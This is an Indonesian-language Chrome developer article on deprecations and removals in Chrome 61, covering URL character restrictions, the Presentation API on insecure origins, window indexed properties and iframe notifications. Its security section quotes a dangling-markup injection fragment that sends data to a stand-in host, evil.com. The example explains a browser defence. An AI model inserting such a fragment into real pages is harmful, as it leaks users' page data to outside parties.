Penghentian dan penghapusan di Chrome 61

Joe Medley
Joe Medley

Di hampir setiap versi Chrome, kami melihat sejumlah besar update dan peningkatan pada produk, performanya, dan juga kemampuan Platform Web. Artikel ini menjelaskan penghentian dan penghapusan di Chrome 61, yang masih dalam versi beta per 3 Agustus. Daftar ini dapat berubah sewaktu-waktu.

Keamanan dan Privasi

Memblokir resource yang URL-nya berisi karakter '\n' dan '<'

Ada jenis peretasan yang disebut injeksi markup menggantung, yaitu URL yang terpotong digunakan untuk mengirim data ke endpoint eksternal. Misalnya, pertimbangkan halaman yang berisi <img src='https://evil.com/?. Karena URL tidak memiliki tanda kutip penutup, browser akan membaca tanda kutip berikutnya yang muncul dan memperlakukan karakter yang diapit seolah-olah itu adalah satu URL.

Chrome 61 mengurangi kerentanan ini dengan membatasi kumpulan karakter yang diizinkan dalam atribut href dan src. Secara khusus, Chrome akan berhenti memproses URL saat menemukan karakter baris baru (\n) dan karakter kurang dari (<).

Developer dengan kasus penggunaan yang sah untuk baris baru dan karakter kurang dari dalam URL harus meng-escape karakter ini.

Intent to Remove | Chromestatus Tracker | Chromium Bug

Menghentikan penggunaan dan menghapus Presentation API pada konteks yang tidak aman

Telah ditemukan bahwa pada origin yang tidak aman, Presentation API dapat digunakan sebagai vektor peretasan pada origin yang tidak aman. Karena layar tidak memiliki kolom URL, API dapat digunakan untuk melakukan spoofing konten. Anda juga dapat mengeksfiltrasi data dari presentasi yang sedang berjalan.

Sejalan dengan niat Blink untuk menghapus fitur canggih di origin yang tidak aman, kami berencana untuk menghentikan penggunaan dan menghapus dukungan untuk Presentation API di konteks yang tidak aman. Mulai Chrome 61, PresentationRequest.start() tidak akan berfungsi lagi pada origin yang tidak aman.

Intent to Remove | Chromestatus Tracker | Chromium Bug

JavaScript

Tidak mengizinkan penentuan properti yang diindeks di jendela

Sebelumnya, beberapa browser mengizinkan penetapan JavaScript seperti berikut:

    window[0] = 1;

Catatan spesifikasi HTML saat ini menunjukkan bahwa ini adalah pelanggaran eksplisit terhadap spesifikasi JavaScript. Oleh karena itu, kemampuan ini dihapus di Chrome 61. Mulai Februari 2016, Firefox sudah mematuhi kebijakan ini.

Bug Chromium

Menghapus penggunaan notifikasi dari iframe yang tidak aman

Permintaan izin dari iframe dapat membingungkan pengguna karena sulit untuk membedakan antara asal halaman yang berisi dan asal iframe yang membuat permintaan. Jika cakupan permintaan tidak jelas, akan sulit bagi pengguna untuk menilai apakah akan memberikan atau menolak izin.

Tidak mengizinkan notifikasi di iframe juga akan menyelaraskan persyaratan untuk izin notifikasi dengan notifikasi push, sehingga mengurangi hambatan bagi developer.

Developer yang memerlukan fungsi ini dapat membuka jendela baru untuk meminta izin notifikasi.

Intent to Remove | Chromestatus Tracker | Chromium Bug